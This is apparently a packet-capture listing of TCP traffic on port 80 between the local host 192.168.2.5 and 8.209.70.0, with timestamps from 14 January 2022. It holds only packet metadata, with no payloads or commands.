Jan 14, 2022 21:06:00.911772966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911803961 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911808968 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911848068 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911859989 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911885977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911925077 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911964893 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911967039 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912002087 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912003994 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912043095 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912081003 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912095070 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912117958 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912156105 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912193060 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912194967 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912233114 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912239075 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912271976 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912307978 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912345886 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912348986 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912384987 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912386894 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912421942 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912460089 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912496090 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912502050 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912534952 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912535906 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912575006 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912611961 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912652969 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912679911 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912691116 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912695885 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912728071 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912766933 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912803888 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912807941 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912842989 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912844896 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912883043 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912919044 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912956953 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912961006 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.912996054 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.912997961 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913033962 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913072109 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913109064 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913120031 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913150072 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913162947 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913189888 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913225889 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913264990 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913266897 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913302898 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913304090 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913341045 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913379908 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913389921 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913418055 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913456917 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913496017 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913501024 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913532972 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913537025 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913572073 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913621902 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913624048 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913660049 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913697958 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913734913 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913763046 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913790941 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913803101 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913830996 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913898945 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913935900 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.913939953 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913973093 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.913975000 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914016008 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914053917 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914097071 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914108992 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.914143085 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.914153099 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914213896 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914269924 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914311886 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.914326906 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.914367914 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.931720018 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.931782961 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.931821108 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.931860924 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.931900978 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.931900978 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.931929111 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.931943893 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.931984901 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932013035 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932024956 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932066917 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932080030 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932109118 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932147980 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932187080 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932198048 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932230949 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932234049 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932269096 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932307959 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932346106 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932358980 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932387114 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932389021 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932429075 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932466030 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932504892 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932511091 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932543993 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932547092 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932581902 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932624102 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932662964 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932676077 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932703972 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932708025 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932745934 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932784081 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932823896 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932837009 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932864904 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932867050 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.932903051 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932943106 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932979107 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.932991982 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933018923 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933022976 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933059931 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933096886 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933135033 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933150053 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933176041 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933187962 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933213949 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933252096 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933289051 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933305025 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933329105 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933346033 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933370113 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933407068 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933444977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933456898 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933485031 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933489084 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933523893 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933562994 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933599949 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933619022 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933645964 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933650017 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933686972 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933723927 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933763027 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933770895 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933819056 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933837891 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.933890104 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933927059 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933964968 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.933978081 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934003115 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934010029 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934042931 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934082031 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934118032 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934130907 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934156895 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934182882 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934195995 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934236050 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934273005 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934287071 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934313059 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934315920 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934351921 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934391975 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934427977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934434891 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934465885 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934468985 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934504032 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934540987 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934577942 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934582949 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934616089 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934619904 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934657097 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934695959 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934731007 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934737921 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934771061 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934788942 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934828997 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934866905 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934904099 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934910059 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934941053 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.934943914 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.934978962 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935018063 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935069084 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935074091 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.935112000 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.935123920 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935178041 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.935183048 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935230970 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.935240984 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935297966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935353994 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935401917 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.935410023 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.935451031 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.935471058 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.939074039 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.952781916 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.952830076 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.952871084 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.952883005 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.952912092 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.952923059 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.952953100 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.952991009 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.952991009 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953028917 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953068972 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953105927 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953109026 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953142881 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953146935 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953186989 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953222990 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953243017 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953262091 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953299999 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953300953 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953339100 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953378916 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953418016 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953419924 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953457117 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953458071 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953497887 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953535080 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953573942 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953579903 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953614950 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953623056 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953661919 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953701019 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953706026 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953739882 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953778028 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953783035 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953816891 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953867912 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.953885078 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953922987 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953962088 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.953963041 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954000950 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954039097 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954077005 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954081059 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954114914 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954116106 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954154015 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954194069 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954229116 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954236031 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954268932 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954268932 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954310894 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954345942 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954401016 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954416037 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954437971 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954448938 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954478979 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954518080 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954552889 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954555988 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954590082 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954591036 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954629898 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954667091 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954705000 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954710007 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954742908 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954742908 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954783916 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954822063 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954858065 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954859972 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954895973 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954896927 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.954936028 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.954972982 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955009937 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955010891 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955046892 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955049038 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955087900 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955127001 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955137968 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955163956 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955202103 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955239058 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955240011 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955276966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955277920 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955315113 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955353022 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955390930 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955394030 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955431938 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955435038 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.955470085 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955508947 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.955545902 CET	80	49899	8.209.70.0	192.168.2.5
